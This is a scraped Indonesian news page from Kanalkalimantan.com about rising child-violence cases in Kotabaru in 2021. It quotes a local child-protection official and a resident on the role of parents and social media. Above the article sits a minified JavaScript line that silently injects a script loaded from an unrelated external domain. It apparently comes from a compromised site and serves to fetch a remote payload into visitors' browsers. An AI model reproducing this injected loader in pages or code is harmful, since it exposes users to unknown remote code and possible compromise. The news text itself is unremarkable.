(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Kasus kekerasan anak di Kotabaru mengalami peningkatan, Hingga Juli lalu, sudah tercatat ada 24 kasus. Jumlah ini nyaris menyamai angka kasus pada tahun 2020 lalu yang mencatat ada 28 kasus kekerasan anak.
Hal tersebut berdasarkan data yang dirangkum oleh Dinas Pemberdayaan Perlindungan Perempuan Anak, Pengendalian Penduduk Dan Keluarga Berencana (PPPA, DALDUK dan KB) Kabupaten Kotabaru.
Kepala Dinas PPPA, DALDUK dan KB Kotabaru, Cipta Waspada kepada Kanalkalimantan.com menjelaskan, perhatian terhadap tumbuh kembang anak menjadi perhatian serius. Dari beberapa kasus yang ada, anak menjadi korban kekerasan dan itu tentu akan mempengaruhi kehidupannya di masa mendatang.
“Meningkatnya kasus kekerasan anak tentu akan berdampak pada tumbuh kembang mereka dan itu menjadi perhatian kita bersama,” ujar Cipta, Selasa (10/8/2021).
Baca juga: Siti Fadilah Ragukan Covid-19: Kalau Masih Punya Kepentingan ya Pandemi Terus
Menurutnya, peningkatan kasus kepada anak kemungkinan disebabkan karena keterbukaan media informasi di media sosial yang secara tidak langsung dapat mempengaruhi psikologi pada anak.
“Oleh karenanya, kami dari pemerintah daerah telah membentuk forum anak daerah yang salah satu fungsi tugasnya adalah meningkatkan kepedulian pada anak dengan melaksanakan berbagai program yang positif, seperti membentuk karakter anak agar bisa mencintai seni dan itu sudah dilakukan,” tambahnya.
Kendati demikian, bukan hanya memperhatikan anak saja, namun lebih menitikberatkan kepada orang tua di rumah dalam mendidik anak dan itu juga menjadi perhatian besar.
“Intinya juga kami tidak bosan-bosannya menyampaikan pesan moral kepada pada orang tua agar dalam mendidik anak didalam lingkungan keluarga harus benar-benar baik jangan sampai ada kekerasan,” harapnya.
Baca juga: PPKM Level 4 Diperpanjang hingga 16 Agustus, Termasuk Banjarmasin dan Banjarbaru!
Melihat kondisi tersebut, salah seorang masyarakat Kotabaru menilai, perhatian bagi tumbuh kembang anak tidak bisa hanya bergantung pada perhatian pemerintah saja, prinsipnya adalah sebagai orang tua dirumah mempunyai peran utama.
“Program yang dijalankan pemerintah sudah bagus agar mengalihkan perhatian anak-anak untuk tidak melakukan hal yang dapat merugikan. Oleh karenanya, penggunaan media sosial juga bagus sepanjang orang tua memantaunya sehingga tidak akan kebablasan,” ujarnya.
“Intinya, tergantung kita memperlakukan anak kita dan jangan sampai ada kekerasan karena sedikit banyaknya akan berpengaruh terhadap perkembangan mereka,” tambah Ifah. (Kanakalimantan.com/Muhammad)
Reporter: muhammad
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.